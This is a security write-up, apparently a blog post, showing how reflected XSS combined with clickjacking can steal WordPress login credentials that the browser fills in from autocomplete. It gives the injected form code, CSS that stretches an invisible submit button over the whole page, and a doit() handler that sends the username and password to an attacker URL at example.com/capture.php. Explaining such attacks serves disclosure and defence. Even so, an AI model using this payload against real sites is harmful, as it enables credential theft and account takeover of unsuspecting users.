By combining Cross Site Scripting (XSS) with Clickjacking and JavaScript it is possible to extract passwords and data stored within the browsers Autocomplete cache.
Autocomplete is a feature supported by all browsers to cache input field values – it can also be used to save user credentials – for example the WordPress login interface has autocomplete enabled. Below is a cut down version of the WordPress login form:
<form name="loginform" id="loginform" action="/wp-login.php" method="post"> <input type="text" name="log" id="user_login" class="input" value="" /> <input type="password" name="pwd" id="user_pass" class="input" value="" /> <input name="rememberme" type="checkbox" id="rememberme" value="forever" /> <input type="submit" name="wp-submit" id="wp-submit" value="Log In" /> <input type="hidden" name="redirect_to" value="" /> <input type="hidden" name="testcookie" value="1" /> </form>
In the ideal world of a hacker they could access this data using the document.loginform.user_logon.value property. This would be extremely useful as it would enable an attacker to harvest stored credentials using just a simple reflected XSS. Sadly as a security feature JavaScript is unable to access the autocomplete input data and instead returns a null string unless the submit button has been pressed (alert(document.loginform.user_logon.value) will not work).
In order to prevent autocomplete from caching the wrong credentials for the wrong domain the browser ties its autocomplete data by destination domain (what’s in the action parameter of your form tag), and by field name (the name of the text input box). This means an attacker can’t place a form on his own domain and hope its automatically completed with the users cached credentials. Autocomplete will however complete fields it recognises on the same domain regardless of their page.
By using a combination of reflected XSS and click-jacking its possible to harvest the users credentials that are cached in autocomplete. The first step is to find a page on the same domain that is vulnerable to XSS. Once you’ve found a page you need to insert a new form into the page as follows:
document.write( '<form name="loginform" id="loginform" action="" method="post">' + ' <input type="text" name="log" id="user_login" />' + ' <input type="password" name="pwd" id="user_pass" />' + ' <input type="submit" name="wp-submit" id="wp-submit" value="Log In" />' + '</form>' );
This will give you a form that gets filled with autocomplete data like so:
As we cant directly access the values of the autocomplete data we need to convince the user to click on the submit button. All the time they can see our blatant XSS attack they are unlikely too. So next we make both the text fields disappear with a style=”display:none” attribute – we also remove the text from the login button.
The page now looks like a normal page however with a tiny login button the chances of the user clicking on it are remote. The new page will look something like this:
The next step is to increase the size of the login button using the following CSS style, this will make it take over the entire browser window and look slightly less suspicious.
width:100%; height:100%; position:absolute; top:0; left:0; z-index:1000;
Now we have a giant button taking over the entire site. However as it currently stands all that will happen when the user clicks on the giant button is that their credentials will be posted to the same domain. As we cant change the domain to which the form posts with out loosing the autocomplete data we need to add an onsubmit handler to our injected form. As long as the form submission is triggered with a mouse click the onsubmit JavaScript handler will be able to access to the .value properties of the text boxes – these can then be sent to a domain controlled by the attacker. To combat the fact that the page looks like a giant button we set its opacity to 0 which renders the button totally invisible.
document.write(
'<form action="" method="get" name="loginform" style="width:100%; height:100%;" onsubmit="doit();">' +
' <input type="text" name="username" style="display:none;"/>' +
' <input type="password" name="password" style="display:none;"/>' +
' <input type="submit" name="login" value="" style="width:100%; height:100%; position:absolute; top:0; left:0; filter:alpha(opacity=0); opacity:0; color:#ffffff;"/>' +
'</form>
');
function doit() {
document.location = 'http://example.com/capture.php?user=' + document.loginform.username.value + '&password=' + document.loginform.password.value;
}
Now when they click anywhere on the page their click will be hijacked by the giant transparent button, their credentials will be forwarded to the domain controlled by the attacker and the attacker will gain control over the account. The use of Autocomplete for sensitive forms is a bad idea – I have no idea why its enabled for such a popular application such as WordPress.
The attack described above is crude and not particularly sophisticated – with a little time and effort such an attack would be virtually undetectable by the end user.


